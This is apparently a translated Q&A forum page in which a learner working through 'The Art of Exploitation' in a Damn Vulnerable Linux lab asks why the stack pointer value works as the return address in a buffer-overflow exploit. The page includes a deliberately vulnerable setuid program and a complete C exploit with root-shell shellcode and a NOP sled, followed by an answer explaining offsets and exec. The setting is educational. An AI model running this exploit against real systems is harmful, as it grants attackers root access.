首页 文章

缓冲区溢出esp偏移

提问于
浏览
1

我阅读的是Jon Erickson的“剥削的艺术”(第1版) . 为了练习我在虚拟机中安装了Damn Vulnerable Linux发行版 . 我've disabled ASRL (kernel.randomize_va_space = 0), I'用 GCC 3.4.6 编译了以下代码,我使用 GDB 6.6 ,分发的内核是 2.6.20 . 我的电脑有英特尔处理器 . 易受攻击的程序(test2)由root创建,并设置为setuid .

易受攻击的代码如下:

//test2.c
int main(int argc, char *argv[])
{
char buffer[500];

strcpy(buffer, argv[1]);

return 0;
}

由普通(非root)用户创建的漏洞利用代码如下:

//main.c
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;

offset = 0;
esp = sp();

ret = esp - offset;

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

buffer2 = malloc(600);

ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}

for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}

ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}

buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);

free(buffer2);

return 0;
}

该程序工作,它利用test2中的缓冲区溢出漏洞并给我一个root shell . 我不明白,即使在多次阅读本书并试图在互联网上找到答案之后,为什么我们存储在变量 esp 中的堆栈指针的值是我们shellcode的返回地址 . 我've disassembled the program with GDB and everything works as the author says but I don'不明白为什么会这样 .

我本来希望向您展示反汇编程序的外观以及内存在执行过程中的样子,但我无法从虚拟机上的客户机复制/粘贴,我不允许在我的问题中插入图像 . 所以我只能尝试描述在执行程序main期间发生的事情(在test2中利用BOF的那个):

反汇编主,我看到堆栈上分配了28个字节(7个变量* 4个字节) . 然后调用函数sp()并将堆栈指针的值存储在 esp 中 . 存储在变量esp中的值是 0xbffff344 . 然后,正如您所看到的,我们有一些printf,我们将有效负载存储在buffer2中,然后我们调用execl函数将buffer2作为参数传递 .

现在root shell出现,然后程序退出 . 在设置不同的偏移量后反汇编程序,我可以清楚地看到 0xbffff344 正是执行test2时存储有效负载的地址 . 你能解释一下这是怎么发生的吗? execl是否为test2程序设置了一个新的堆栈框架?在main.c中,在堆栈上只分配了28个字节,而在test2中,在堆栈上分配了500个字节(对于buffer2) . 那么我怎么知道我在main.c中得到的堆栈指针恰好是shellcode的返回地址?

如果我写了一些愚蠢的话,我感谢你并道歉 .

1 回答

  • 2

    Could you explain me how does this happen?

    当禁用ASLR时,每个可执行文件都从相同的地址开始,因此给定堆栈指针,您可以猜测所需的偏移量,以便在test2中找到缓冲区位置 . 这也是NOP雪橇变得有用的地方,因为如果偏移量不是shellcode的精确位移,它会给你多次命中 .

    这就是说,在你的漏洞利用程序的主要功能中,ESP的值是test2中执行缓冲区的位置似乎是不正确的 . 你确定你没有误解gdb结果吗?

    您应该能够使用以下方法计算缓冲区的偏移量:esp - 500 28 .

    请注意,使用此类公式时应始终戴手套:编译器如何处理本地人,(大小,顺序等)可能会有所不同 .

    So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?

    嗯,你没有 . 这取决于机器,程序如何编译等 .

    Does execl sets a new stack frame for the test2 program?

    从execve手册页:

    exec系列函数应使用新的过程映像替换当前过程映像 . 新图像应由称为新过程映像文件的常规可执行文件构成 . 成功的exec不会返回,因为调用过程映像被新的过程映像覆盖 .

    用于test2的新栈覆盖了堆栈 .

    希望能帮助到你 :)

相关问题